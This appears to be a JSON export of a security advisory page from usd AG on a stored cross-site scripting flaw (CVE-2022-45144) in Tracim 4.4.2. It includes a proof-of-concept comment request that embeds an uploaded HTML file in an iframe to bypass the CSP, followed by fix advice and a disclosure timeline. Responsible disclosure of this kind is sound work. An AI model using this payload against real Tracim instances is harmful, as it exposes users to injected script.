{"id":20113,"date":"2023-05-05T14:50:33","date_gmt":"2023-05-05T12:50:33","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=20113"},"modified":"2024-10-07T13:48:51","modified_gmt":"2024-10-07T11:48:51","slug":"usd-2022-0048","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0048\/","title":{"rendered":"usd-2022-0048"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2022-0048 | Tracim 4.4.2 - Stored Cross-Site Scripting<\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2022-0048<\/span><br \/><strong>Affected Product<\/strong><span>: Tracim<\/span><br \/><strong>Affected Version<\/strong><span>: 4.4.2 (probably others too)<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Cross-Site Scripting (CWE-79)<\/span><br \/><strong>Security Risk<\/strong><span>: High<\/span><br \/><strong>Vendor URL<\/strong><span>: <a href=\"https:\/\/tracim.fr\" target=\"_blank\" rel=\"noopener\">https:\/\/tracim.fr <\/a><br \/><strong>Vendor Acknowledged Vulnerability<\/strong>: Yes<br \/><\/span><strong>Vendor Status<\/strong><span>: Fixed<br \/><strong>CVE ID<\/strong>: CVE-2022-45144<br \/><strong>CVE Link:<\/strong> <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-45144\" target=\"_blank\" rel=\"noopener\">https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-45144<\/a><br \/><\/span><\/p>\n<p><em>The following behavior was reported to Tracim in November 2022. After several contact attempts, the usd AG Responsible Disclosure Team did not receive any response. In order to inform the users of Tracim about the unresolved vulnerability, the advisory was published in accordance with our <a href=\"https:\/\/herolab.usd.de\/responsible-disclosure\/\">Responsible Disclosure Policy<\/a>.<br \/><\/em><\/p>\n<p><em><\/em><\/p>\n<p><em>Edit 07-10-2024: <\/em><\/p>\n<p><em><\/em><\/p>\n<p><em>The Tracim team informed us that this vulnerability is fixed in version 4.11.1. They thanked us for our feedback and mentioned that since then their internal processes for handling vulnerability disclosures have been improved.<br \/><\/em><\/p>\n<p><span><\/span><\/p>\n<h3>Description<\/h3>\n<p>Tracim is a collaborative platform software that allows teams to share and work on various types of data and documents. The application allows uploads of HTML files, which leads to a stored Cross-Site-Scripting attack.<\/p>\n<p>Additionally to the stored XSS vulnerability, the impact can be increased by using a HTML injection in the comments feature. This endpoint usually blocks XSS attempts using a CSP, which can be bypassed. The tested version was Tracim 4.4.2.<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p>The application allows to upload HTML files, which can be viewed in \"raw\" using a link similar to the one below:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.20.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]<\/p>\n<p>http:\/\/localhost:8080\/api\/workspaces\/1\/files\/19\/raw\/test.html<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<p>This upload functionality makes the application vulnerable to a stored XSS, because the uploaded file is rendered in the context of the application.<\/p>\n<p>Tracim implements the following CSP:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.20.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]<\/p>\n<p>Content-Security-Policy: script-src 'unsafe-eval' 'nonce-67c3972badf9a5c68a68fb5b107ab5f0ce1c8d0b15e6b9342d68b53f56cd4238'; style-src 'unsafe-inline' 'self'; connect-src 'self'; font-src data: blob: *; img-src data: blob: *; media-src data: blob: *; frame-src * 'self'; object-src 'none'; default-src 'self'<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.20.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>To attack more users from inside the application one needs to bypass the CSP and embed the uploaded file in a commonly visited place. Tracim allows injection of HTML into a comment. The endpoint uses a CSP to block XSS attempts. However, the CSP can be bypassed using our uploaded HTML file as an iframe source.<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.20.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]<\/p>\n<p>POST \/api\/workspaces\/1\/contents\/22\/comments HTTP\/1.1<br \/>Host: localhost:8080<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:103.0) Gecko\/20100101 Firefox\/103.0<br \/>Accept: application\/json<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate<br \/>Referer: <a href=\"http:\/\/localhost:8080\/ui\/workspaces\/1\/publications\" target=\"_blank\" rel=\"noopener\">http:\/\/localhost:8080\/ui\/workspaces\/1\/publications<\/a><br \/>X-Tracim-ClientToken: ed6ba1bc-fae7-49cd-9490-8c38dd33ba13<br \/>Content-Type: application\/json<br \/>Content-Length: 164<br \/>Origin: http:\/\/localhost:8080<\/p>\n<p>[...]<\/p>\n<p>{\"raw_content\":\"&lt;iframe src=\\\"http:\/\/localhost:8080\/api\/workspaces\/1\/files\/19\/raw\/test.html\\\"&gt;&lt;\/iframe&gt;\",\"content_namespace\":\"publication\"}<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p>It is recommended to treat all input on the website as potentially dangerous. Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context. The majority of programming languages support standard procedures for encoding meta characters. Also it is recommended to restrict the allowed file types in the file upload function.<\/p>\n<p>&nbsp;<\/p>\n<p>Users of Tracim can upgrade to version 4.11.1.<\/p>\n<h3><\/h3>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/Server_Side_Request_Forgery\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/xss\/<\/a><\/li>\n<li><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-45144\" target=\"_blank\" rel=\"noopener\">https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-45144<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-11-10<\/strong>: This vulnerability was identified by Christian P\u00f6schl.<\/li>\n<li><strong>2022-11-10<\/strong>: Initial contact to vendor via e-mail.<\/li>\n<li><strong>2022-12-16<\/strong>: Second attempt to contact vendor.<\/li>\n<li><strong>2023-02-17<\/strong>: Third attempt to contact vendor.<\/li>\n<li><strong>2023-04-24<\/strong>: Fourth attempt to contact vendor with notification about upcoming release plans for advisory.<\/li>\n<li><strong>2023-05-15<\/strong>: Security advisory released by usd AG.<\/li>\n<li><strong>2024-10-07<\/strong>: Tracim informs us that the vulnerability was fixed with release 4.11.1.<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p>This security vulnerability was found by Christian P\u00f6schl of usd AG.<\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0048 | Tracim 4.4.2 - Stored Cross-Site Scripting Advisory ID: usd-2022-0048Affected Product: TracimAffected Version: 4.4.2 (probably others too)Vulnerability Type: Cross-Site Scripting (CWE-79)Security Risk: HighVendor URL: https:\/\/tracim.fr Vendor Acknowledged Vulnerability: YesVendor Status: FixedCVE ID: CVE-2022-45144CVE Link: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-45144 The following behavior was reported to Tracim in November 2022. After several contact attempts, the usd AG Responsible Disclosure [&hellip;]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-20113","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=20113"}],"version-history":[{"count":2,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20113\/revisions"}],"predecessor-version":[{"id":23444,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20113\/revisions\/23444"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=20113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}